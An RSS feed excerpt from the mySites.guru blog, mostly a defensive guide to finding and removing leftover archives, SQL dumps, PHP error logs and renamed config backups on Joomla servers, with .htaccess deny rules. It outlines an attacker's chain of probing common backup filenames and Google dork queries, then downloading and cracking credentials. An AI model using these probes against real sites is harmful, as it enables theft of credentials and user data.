&lt;p&gt;This is not unique to Joomla. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; showed the same pattern: a third-party component breaks, and agencies need to identify affected sites and deploy a fix across their entire portfolio fast. The only defense is staying current with updates and having a process to &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;roll out fixes quickly&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For agencies managing client sites, incidents like this are exactly why &lt;a href=&quot;https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/&quot;&gt;building a morning check routine&lt;/a&gt; matters. A quick scan of your dashboard catches problems before your clients call you about them.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 6.0.4 / 5.4.4 release announcement&lt;/a&gt; - The official release that includes the TinyMCE fix and six security patches&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://downloads.joomla.org/cms/joomla6/6-0-3&quot;&gt;Joomla 6.0.3 / 5.4.3 hotfix downloads&lt;/a&gt; - Hotfix packages for sites that cannot update to 5.4.4 / 6.0.4 yet&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2026/how-we-decided-not-to-panic-the-joomla-post-release-decision-process&quot;&gt;“How we decided not to panic” - Joomla Magazine&lt;/a&gt; - The Joomla team’s post-mortem on their decision process&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47238&quot;&gt;GitHub Issue #47238&lt;/a&gt; - The original bug report with community confirmation across platforms&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tinymce/tinymce/issues/10947&quot;&gt;TinyMCE Issue #10947&lt;/a&gt; - The upstream TinyMCE bug report about the mozInputSource removal&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46889&quot;&gt;Joomla PR #46889&lt;/a&gt; - The merged fix that patches TinyMCE initialization&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Edge cases like this are covered in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>firefox</category><category>tinymce</category><category>browser compatibility</category><category>hotfix</category><enclosure url="https://mysites.guru/img/og/blog/joomla-tinymce-firefox-148-fix.png" length="0" type="image/png"/></item><item><title>How to Clean Up Dangerous Files Left on Your Joomla Web Server</title><link>https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/</guid><description>ZIP archives, SQL dumps, and PHP error logs left on your Joomla server are security risks waiting to be exploited. Find and remove them before an attacker does.</description><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You finished the migration. You ran the backup. You exported the database so you could import it on the staging server. And then you moved on to the next task, because there are always more tasks.&lt;/p&gt;
&lt;p&gt;Those files are still sitting on your server. The ZIP archive of the old site. The SQL dump with every user’s email address and hashed password. The PHP error log that’s been growing for three years, recording every database connection string and file path on your server.&lt;/p&gt;
&lt;p&gt;No one remembers they’re there. But anyone with a browser can download them.&lt;/p&gt;
&lt;p&gt;This is one of the most common and most overlooked security problems on Joomla sites. Not a code vulnerability or a zero-day exploit - just files that should never have been left in a publicly accessible directory, forgotten and exposed to anyone who knows where to look.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Find These Files?&lt;/h2&gt;
&lt;p&gt;When you run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; on any site connected to mySites.guru, the audit engine scans every file in your webspace and classifies them. Several audit tools specifically target dangerous file types:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru audit results showing the Files Information section with checks for archive files, SQL dumps, PHP error logs, hidden files, and more&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1282px) 1282px, 100vw&quot; width=&quot;1282&quot; height=&quot;1394&quot; src=&quot;https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-audit.lRKCUtgp_S364U.webp&quot; srcset=&quot;https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-audit.lRKCUtgp_Z11Ag3F.webp 640w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-audit.lRKCUtgp_Z2arXDz.webp 750w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-audit.lRKCUtgp_zrm3J.webp 828w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-audit.lRKCUtgp_Zs6lgm.webp 1080w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-audit.lRKCUtgp_d00CU.webp 1280w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-audit.lRKCUtgp_S364U.webp 1282w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Archive Files Tool&lt;/h3&gt;
&lt;p&gt;The archive files tool counts every archive file on your site: ZIP, TAR, TAR.GZ, GZ, RAR, JPA, JPS, and other compressed formats. The audit result shows a count with a colour-coded badge:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green&lt;/strong&gt; - no archive files found&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yellow/Red&lt;/strong&gt; - archive files detected, investigation recommended&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click through to see the full list with file paths, sizes, and modification dates. This is where you’ll spot the migration archive from two years ago, the Akeeba backup someone forgot to delete, or the mystery ZIP file in &lt;code&gt;/tmp/&lt;/code&gt; that you’ve never seen before. Some ZIP files are legitimate - if your site offers downloadable resources, those archives are intentional and should stay. The tool helps you distinguish between files you put there on purpose and ones that were left behind by accident.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru archive files tool showing ZIP files found in a WordPress site&apos;s wp-content/uploads directory, with file ages ranging from 7 months to 3 years&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2506px) 2506px, 100vw&quot; width=&quot;2506&quot; height=&quot;1598&quot; src=&quot;https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-archive-tool.D7Ba5aUy_1hLAYW.webp&quot; srcset=&quot;https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-archive-tool.D7Ba5aUy_1RAWP8.webp 640w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-archive-tool.D7Ba5aUy_WzhmU.webp 750w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-archive-tool.D7Ba5aUy_ZqE5fQ.webp 828w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-archive-tool.D7Ba5aUy_2r4h5a.webp 1080w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-archive-tool.D7Ba5aUy_zwTOt.webp 1280w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-archive-tool.D7Ba5aUy_Zeyo4l.webp 1668w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-archive-tool.D7Ba5aUy_17rNsD.webp 2048w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-archive-tool.D7Ba5aUy_1hLAYW.webp 2506w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;SQL Dump Files Tool&lt;/h3&gt;
&lt;p&gt;SQL dumps get their own dedicated tool because of the severity of the data they expose. Any file with a &lt;code&gt;.sql&lt;/code&gt; extension (or &lt;code&gt;.sql.gz&lt;/code&gt;, &lt;code&gt;.sql.zip&lt;/code&gt;) is flagged and listed. Not every &lt;code&gt;.sql&lt;/code&gt; file is a database dump. Joomla itself ships with hundreds of &lt;code&gt;.sql&lt;/code&gt; files in its core - schema creation scripts, migration scripts, and upgrade queries used during installation and updates. Extensions and WordPress plugins include them too. Those are normal and expected. But a file called &lt;code&gt;backup-2024-03.sql&lt;/code&gt; or &lt;code&gt;joomla_db.sql.gz&lt;/code&gt; in your site root is a different story entirely, and the tool makes it easy to tell the difference by showing file paths, sizes, and modification dates.&lt;/p&gt;
&lt;h3&gt;PHP Error Logs Tool&lt;/h3&gt;
&lt;p&gt;The error log tool finds PHP error log files throughout your webspace. These often have predictable names (&lt;code&gt;error_log&lt;/code&gt;, &lt;code&gt;php_errorlog&lt;/code&gt;, &lt;code&gt;php_errors.log&lt;/code&gt;) but the tool catches them regardless of naming because it identifies them by content pattern, not just filename.&lt;/p&gt;
&lt;h3&gt;Large Files Tool&lt;/h3&gt;
&lt;p&gt;Files over 2MB are flagged separately. This catches oversized error logs that have grown unchecked, large backup archives, database dumps, and other files that shouldn’t typically exist in a web application’s directory structure. A 400MB file in your webspace is almost never legitimate application code. It’s a backup, a log, or something that doesn’t belong there.&lt;/p&gt;
&lt;h3&gt;Running This Across All Your Sites&lt;/h3&gt;
&lt;p&gt;If you manage multiple Joomla sites, checking each one manually would take hours. With mySites.guru, every &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled audit&lt;/a&gt; automatically scans all your connected sites for these file types.&lt;/p&gt;
&lt;p&gt;You can also pivot on any audit tool to see every site’s result for that specific check on a single page. Click “Locate And Review Any SQL Files” and you’ll see which of your 500+ sites have SQL dumps sitting in their webspace, with an Investigate button to drill straight into the details.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru pivot view showing the SQL files audit tool results across all connected Joomla sites, with file counts and Investigate buttons for each site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2270px) 2270px, 100vw&quot; width=&quot;2270&quot; height=&quot;1286&quot; src=&quot;https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-pivot.KOMuWZQ__Z1Lw045.webp&quot; srcset=&quot;https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-pivot.KOMuWZQ__PqVYr.webp 640w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-pivot.KOMuWZQ__Z2mcVRc.webp 750w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-pivot.KOMuWZQ__Z1klWig.webp 828w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-pivot.KOMuWZQ__Z1xIWBa.webp 1080w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-pivot.KOMuWZQ__1aJE6o.webp 1280w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-pivot.KOMuWZQ__ZvONNt.webp 1668w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-pivot.KOMuWZQ__ZJFcBW.webp 2048w, https://mysites.guru/_astro/how-to-clean-up-dangerous-files-joomla-server-pivot.KOMuWZQ__Z1Lw045.webp 2270w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The dashboard view makes patterns obvious. If one site has archive files and the rest don’t, that’s a one-off cleanup task. If half your sites have PHP error logs, you’ve got a systemic configuration issue worth addressing at the hosting level.&lt;/p&gt;
&lt;h2&gt;What Files Did You Forget About?&lt;/h2&gt;
&lt;p&gt;These are the file types that mySites.guru flags as dangerous, and why each one matters.&lt;/p&gt;
&lt;h3&gt;Archive Files (ZIP, TAR.GZ, RAR, JPA)&lt;/h3&gt;
&lt;p&gt;Archive files are the most common offender. They end up on web servers for all sorts of legitimate reasons (site migrations, manual backups, extension installations, staging environment setup) and then they just stay there.&lt;/p&gt;
&lt;p&gt;The problem is simple: any file in your document root is accessible via HTTP. If you have a file called &lt;code&gt;backup-2024-11-15.zip&lt;/code&gt; in your site root, anyone can download it by visiting &lt;code&gt;https://yoursite.com/backup-2024-11-15.zip&lt;/code&gt;. No authentication required. No special access needed. Just a direct URL to a file that probably contains your entire site, including &lt;code&gt;configuration.php&lt;/code&gt; with your database password, your SMTP credentials, and every secret your Joomla installation knows about.&lt;/p&gt;
&lt;p&gt;This is not theoretical. The &lt;a href=&quot;https://wstg.owasp.org/v4.2/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information&quot;&gt;OWASP Web Security Testing Guide&lt;/a&gt; specifically lists backup archives as a test case for penetration testers because they’re found on production servers so frequently. Automated scanners probe for common backup filenames as part of their standard reconnaissance. Files like &lt;code&gt;site.zip&lt;/code&gt;, &lt;code&gt;backup.tar.gz&lt;/code&gt;, &lt;code&gt;joomla.zip&lt;/code&gt;, &lt;code&gt;database.sql.gz&lt;/code&gt;, and variations with dates are checked routinely.&lt;/p&gt;
&lt;p&gt;Akeeba Backup users face an additional risk. By default, Akeeba stores its backup archives in &lt;code&gt;/administrator/components/com_akeeba/backup/&lt;/code&gt;. The directory is protected by a &lt;code&gt;.htaccess&lt;/code&gt; file on Apache servers, but that protection doesn’t exist on Nginx or LiteSpeed unless you’ve configured it manually. And even on Apache, a misconfigured &lt;code&gt;.htaccess&lt;/code&gt; or a server migration that dropped the file means those archives (your entire site in a single downloadable package) are exposed. This is why Akeeba’s own documentation tells you to download the backup and delete it from the server. Most people skip that second step.&lt;/p&gt;
&lt;p&gt;The same applies to any &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup tool&lt;/a&gt;. If your backup workflow leaves archive files on the server, you’re with risk for as long as those files exist.&lt;/p&gt;
&lt;h3&gt;SQL Database Dumps&lt;/h3&gt;
&lt;p&gt;SQL dump files are arguably worse than archives, because they’re plain text. (For a deeper look at securing the database itself, including user privileges, table prefixes, and backup table cleanup, see our &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;Joomla database security guide&lt;/a&gt;.) No decompression needed. An attacker who downloads your &lt;code&gt;.sql&lt;/code&gt; file can open it in any text editor and immediately see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every user account in your Joomla installation, including usernames, email addresses, and password hashes&lt;/li&gt;
&lt;li&gt;Administrator credentials - if your admin password hash is weak, it can be cracked offline in minutes&lt;/li&gt;
&lt;li&gt;Email addresses for newsletter subscribers, contact form submissions, and registered users&lt;/li&gt;
&lt;li&gt;Unpublished articles, draft pages, and configuration data stored in extension tables&lt;/li&gt;
&lt;li&gt;Table names, column names, and relationships that reveal exactly what extensions you run and how your site is built&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SQL dumps end up on servers for the same reasons archives do. You exported the database for a migration. You ran &lt;code&gt;mysqldump&lt;/code&gt; from the command line to create a quick backup before an upgrade. You downloaded a copy to work on locally and forgot to delete it from the server. Your hosting panel’s backup tool dropped a &lt;code&gt;.sql&lt;/code&gt; file into your home directory and you never noticed.&lt;/p&gt;
&lt;p&gt;A file called &lt;code&gt;joomla_db.sql&lt;/code&gt; or &lt;code&gt;database-backup.sql&lt;/code&gt; sitting in your document root is a data breach waiting for someone to request the URL.&lt;/p&gt;
&lt;h3&gt;PHP Error Logs&lt;/h3&gt;
&lt;p&gt;PHP error logs are the silent information leak that almost no one thinks about. When PHP encounters an error (a deprecated function call, a failed database connection, an undefined variable) it writes the details to a log file. On many shared hosting configurations, that log file lives right in your webspace, often named &lt;code&gt;error_log&lt;/code&gt; or &lt;code&gt;php_errorlog&lt;/code&gt;, sitting in whatever directory the error occurred in.&lt;/p&gt;
&lt;p&gt;Over time, these logs accumulate a significant amount of sensitive information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full server file paths, revealing your hosting account structure, username, and directory layout&lt;/li&gt;
&lt;li&gt;Database connection errors that log the hostname, username, and sometimes the password used in the connection attempt&lt;/li&gt;
&lt;li&gt;API keys and tokens, if an API call fails and the key was passed as a function parameter&lt;/li&gt;
&lt;li&gt;Extension names and versions from deprecation warnings and compatibility errors&lt;/li&gt;
&lt;li&gt;Stack traces that reveal how your code works internally&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.php.net/manual/en/errorfunc.configuration.php&quot;&gt;PHP documentation&lt;/a&gt; explains how &lt;code&gt;error_log&lt;/code&gt; and &lt;code&gt;log_errors&lt;/code&gt; control where these files are written. The default behavior on most shared hosting is to write errors to a file in the current directory, which means you can end up with &lt;code&gt;error_log&lt;/code&gt; files scattered throughout your webspace: one in your site root, one in &lt;code&gt;/administrator/&lt;/code&gt;, one in &lt;code&gt;/components/com_whatever/&lt;/code&gt;, and so on. Each one is publicly downloadable unless your server is configured to block access.&lt;/p&gt;
&lt;p&gt;A PHP error log might not sound as dramatic as a database dump, but it gives an attacker exactly the intelligence they need to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;plan a targeted attack&lt;/a&gt; against your specific server configuration.&lt;/p&gt;
&lt;h3&gt;Old Backup Files and Renamed Originals&lt;/h3&gt;
&lt;p&gt;Then there are the ad-hoc backup files that developers create during troubleshooting. You’ve done this. Everyone has. You rename &lt;code&gt;configuration.php&lt;/code&gt; to &lt;code&gt;configuration.php.bak&lt;/code&gt; before editing it, just in case. You copy &lt;code&gt;index.php&lt;/code&gt; to &lt;code&gt;index.php.old&lt;/code&gt; before making changes. You duplicate &lt;code&gt;.htaccess&lt;/code&gt; as &lt;code&gt;.htaccess.backup&lt;/code&gt; before modifying redirect rules.&lt;/p&gt;
&lt;p&gt;Your web server knows that &lt;code&gt;configuration.php&lt;/code&gt; is a PHP file and executes it server-side, so its contents are never exposed to browsers. But &lt;code&gt;configuration.php.bak&lt;/code&gt;? That’s not a PHP file. The server treats it as plain text and serves it directly. Anyone who requests &lt;code&gt;https://yoursite.com/configuration.php.bak&lt;/code&gt; gets to read your database password, your FTP credentials, your secret salt, your SMTP password - everything in that file, rendered as plain text in their browser.&lt;/p&gt;
&lt;p&gt;This applies to any file that’s been renamed with an extension the server doesn’t process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;configuration.php.bak&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configuration.php.old&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configuration.php.save&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configuration.php~&lt;/code&gt; (Vim backup files)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wp-config.php.bak&lt;/code&gt; (on WordPress sites you also manage)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.htaccess.backup&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These renamed files are trivially easy to find. Automated scanners check for common backup extensions on known filenames as part of every standard scan. If you’ve ever created one and forgotten to delete it, it’s been discoverable by anyone running basic recon against your server.&lt;/p&gt;
&lt;h2&gt;Why Do These Files Exist in the First Place?&lt;/h2&gt;
&lt;p&gt;No one puts a database dump on a production server and thinks “this is a great idea.” These files accumulate through perfectly reasonable workflows that just happen to leave dangerous artifacts behind.&lt;/p&gt;
&lt;h3&gt;Migrations&lt;/h3&gt;
&lt;p&gt;Migrations are the biggest culprit. Moving a Joomla site from one server to another typically involves creating an archive of the files, exporting the database, uploading both to the new server, and importing. The import is done, the site works, everyone moves on, and the archive and SQL dump sit on the new server indefinitely.&lt;/p&gt;
&lt;h3&gt;Manual Backups Before Upgrades&lt;/h3&gt;
&lt;p&gt;Manual backups before upgrades are another common source. Before running a major Joomla update, a cautious admin might create a quick database dump or file archive, just in case the update goes wrong. The update works fine, and the backup becomes invisible clutter. Over time, these accumulate. We’ve seen sites with a dozen old backup archives spanning years of updates, each one a complete snapshot of the site at that point in time, including whatever vulnerabilities existed then.&lt;/p&gt;
&lt;h3&gt;Development and Staging Workflows&lt;/h3&gt;
&lt;p&gt;Development and staging workflows leave artifacts too. Developers working directly on production (it happens, even when we all know it shouldn’t) create temp files, SQL dumps for testing, archive packages for deployment. Files with names like &lt;code&gt;test.sql&lt;/code&gt;, &lt;code&gt;staging-dump.sql.gz&lt;/code&gt;, &lt;code&gt;old-site.tar.gz&lt;/code&gt;, or &lt;code&gt;site-before-redesign.zip&lt;/code&gt; are surprisingly common.&lt;/p&gt;
&lt;h3&gt;Hosting Control Panels&lt;/h3&gt;
&lt;p&gt;Hosting control panels sometimes contribute by storing backups in subdirectories of your document root. cPanel, Plesk, and DirectAdmin all have backup tools that can create archives in locations that are web-accessible. If the panel’s default backup directory overlaps with your document root, those backups are publicly downloadable.&lt;/p&gt;
&lt;h3&gt;PHP Error Logs Grow Unnoticed&lt;/h3&gt;
&lt;p&gt;PHP error logs grow because they’re a byproduct of normal operation. Every time a visitor triggers a PHP error (a missing image in a template, a deprecated function in an old extension, a database timeout during heavy traffic) the log file gets another entry. No one notices until the file is 500MB and eating into &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk space&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What Does a Real-World Attack Look Like?&lt;/h2&gt;
&lt;p&gt;Here’s how an attacker actually exploits these files.&lt;/p&gt;
&lt;h3&gt;Step 1: Discovery&lt;/h3&gt;
&lt;p&gt;The attacker runs a scanner against your domain. The scanner tries common filenames (&lt;code&gt;backup.zip&lt;/code&gt;, &lt;code&gt;site.zip&lt;/code&gt;, &lt;code&gt;database.sql&lt;/code&gt;, &lt;code&gt;db.sql&lt;/code&gt;, &lt;code&gt;error_log&lt;/code&gt;, &lt;code&gt;dump.sql&lt;/code&gt;, &lt;code&gt;configuration.php.bak&lt;/code&gt;) and checks the HTTP response code. A 200 means the file exists and is downloadable. A 403 means it exists but access is denied (still useful intelligence). A 404 means it’s not there. This takes seconds.&lt;/p&gt;
&lt;p&gt;If your server has &lt;a href=&quot;https://httpd.apache.org/docs/2.4/mod/mod_autoindex.html&quot;&gt;directory listing enabled&lt;/a&gt; (Apache’s &lt;code&gt;mod_autoindex&lt;/code&gt; with &lt;code&gt;Options +Indexes&lt;/code&gt;), the attacker doesn’t even need to guess filenames. They can browse your directories like a file manager and see everything. The mySites.guru audit checks for this too, and &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;directory listing should always be disabled&lt;/a&gt; on production servers.&lt;/p&gt;
&lt;p&gt;Google dorking (using search operators like &lt;code&gt;inurl:backup.sql&lt;/code&gt; or &lt;code&gt;filetype:sql inurl:wp-content&lt;/code&gt;) used to be another common discovery method. Google has been restricting these queries in 2025 and 2026, filtering out more sensitive results and returning fewer “interesting” matches. That’s a welcome change, but it only reduces one discovery vector. Direct filename scanning against your server doesn’t depend on Google at all, and that’s still the primary way attackers find these files.&lt;/p&gt;
&lt;h3&gt;Step 2: Extraction&lt;/h3&gt;
&lt;p&gt;The attacker downloads whatever they found. A SQL dump gives them your user table immediately. An archive file gives them everything: they extract it locally and start reading your &lt;code&gt;configuration.php&lt;/code&gt;. A PHP error log gives them file paths, extension names, and server details that inform the next phase of the attack.&lt;/p&gt;
&lt;h3&gt;Step 3: Exploitation&lt;/h3&gt;
&lt;p&gt;With database credentials from &lt;code&gt;configuration.php&lt;/code&gt;, the attacker connects directly to your database if the MySQL port is exposed (or if they’re on the same shared hosting server). With admin password hashes from the SQL dump, they run an offline cracking tool and weak passwords fall in seconds. With knowledge of your exact extension versions from error logs, they search for known vulnerabilities in those specific versions.&lt;/p&gt;
&lt;h3&gt;Step 4: Access&lt;/h3&gt;
&lt;p&gt;The attacker logs in as an administrator using cracked credentials, or accesses the database directly, or exploits a vulnerability they identified from the intelligence gathered. At this point your site is compromised, and the initial point of entry wasn’t a bug in your code. It was a file you forgot to delete.&lt;/p&gt;
&lt;p&gt;This entire chain can happen within minutes. There’s no “hacking” in the Hollywood sense. It’s just downloading files that shouldn’t be publicly accessible and reading what’s inside them.&lt;/p&gt;
&lt;h2&gt;What Should You Do When You Find These Files?&lt;/h2&gt;
&lt;p&gt;Finding dangerous files is only useful if you actually deal with them. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; can do most of what’s below directly, no FTP client or SSH session required, deletes recoverable from a trash rather than gone the moment you click. Here’s the priority order:&lt;/p&gt;
&lt;h3&gt;1. SQL Dumps - Delete Immediately&lt;/h3&gt;
&lt;p&gt;There is no reason for a SQL dump file to exist in your webspace. None. If you need database backups (and you do), they should be stored offsite: on a local machine, in cloud storage, or through a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup service&lt;/a&gt; that stores backups outside your document root. Delete every &lt;code&gt;.sql&lt;/code&gt; file from your webspace right now.&lt;/p&gt;
&lt;p&gt;If the SQL dump was downloadable and you don’t know for how long, assume the data has been compromised. Change your database password. Change your Joomla admin passwords. If the dump contained user data, you may have notification obligations depending on your jurisdiction.&lt;/p&gt;
&lt;h3&gt;2. Archive Files - Delete or Move&lt;/h3&gt;
&lt;p&gt;Archive files belong in offsite storage, not in your webspace. Download them to your local machine first if you need them, then delete them from the server.&lt;/p&gt;
&lt;p&gt;If you must keep an archive on the server temporarily (during an active migration, for example), move it above the document root where it’s not web-accessible. On most hosting setups, your document root is something like &lt;code&gt;/home/username/public_html/&lt;/code&gt;. Files placed in &lt;code&gt;/home/username/&lt;/code&gt; (one level up) are not accessible via HTTP.&lt;/p&gt;
&lt;p&gt;If that’s not possible, create a &lt;code&gt;.htaccess&lt;/code&gt; file in the directory containing the archive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;FilesMatch &lt;/span&gt;&lt;span&gt;&quot;\.(zip|tar|gz|rar|jpa|jps|sql)$&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  Require&lt;/span&gt;&lt;span&gt; all denied&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This blocks HTTP access to those file types in that directory. But this is a band-aid - the files should still be moved offsite and deleted as soon as possible.&lt;/p&gt;
&lt;h3&gt;3. PHP Error Logs - Delete and Reconfigure&lt;/h3&gt;
&lt;p&gt;Delete all &lt;code&gt;error_log&lt;/code&gt; files from your webspace. Then fix the configuration so they don’t come back.&lt;/p&gt;
&lt;p&gt;In your &lt;code&gt;php.ini&lt;/code&gt; or &lt;code&gt;.user.ini&lt;/code&gt;, set the error log path to a location outside your document root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;log_errors&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; On&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;error_log&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; /home/username/logs/php_errors.log&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you’re on shared hosting and can’t modify &lt;code&gt;php.ini&lt;/code&gt;, add this to your &lt;code&gt;.htaccess&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;php_value&lt;/span&gt;&lt;span&gt; error_log &lt;/span&gt;&lt;span&gt;/home/username/logs/php_errors.log&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key is to keep logging enabled (you need error logs for debugging) but write them somewhere that isn’t publicly accessible. If your host doesn’t allow you to specify a custom log path, at minimum add a &lt;code&gt;.htaccess&lt;/code&gt; rule to block direct access to error log files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;FilesMatch &lt;/span&gt;&lt;span&gt;&quot;^(error_log|php_errorlog|php_errors\.log)$&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  Require&lt;/span&gt;&lt;span&gt; all denied&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Backup/Renamed Files - Delete&lt;/h3&gt;
&lt;p&gt;Files like &lt;code&gt;configuration.php.bak&lt;/code&gt;, &lt;code&gt;configuration.php.old&lt;/code&gt;, &lt;code&gt;.htaccess.backup&lt;/code&gt;, and similar renamed copies should be deleted immediately. They contain sensitive configuration data in a format that the server will serve as plain text.&lt;/p&gt;
&lt;p&gt;If you need to keep backup copies of configuration files, store them outside the document root or on your local machine. Never keep them in the webspace with a non-PHP extension.&lt;/p&gt;
&lt;h3&gt;5. Verify After Cleanup&lt;/h3&gt;
&lt;p&gt;After deleting the files, run another audit to confirm they’re gone. This sounds obvious, but we’ve seen cases where file permissions prevented deletion via FTP, or where a cron job recreated the files minutes after they were removed. The follow-up audit confirms the cleanup actually worked.&lt;/p&gt;
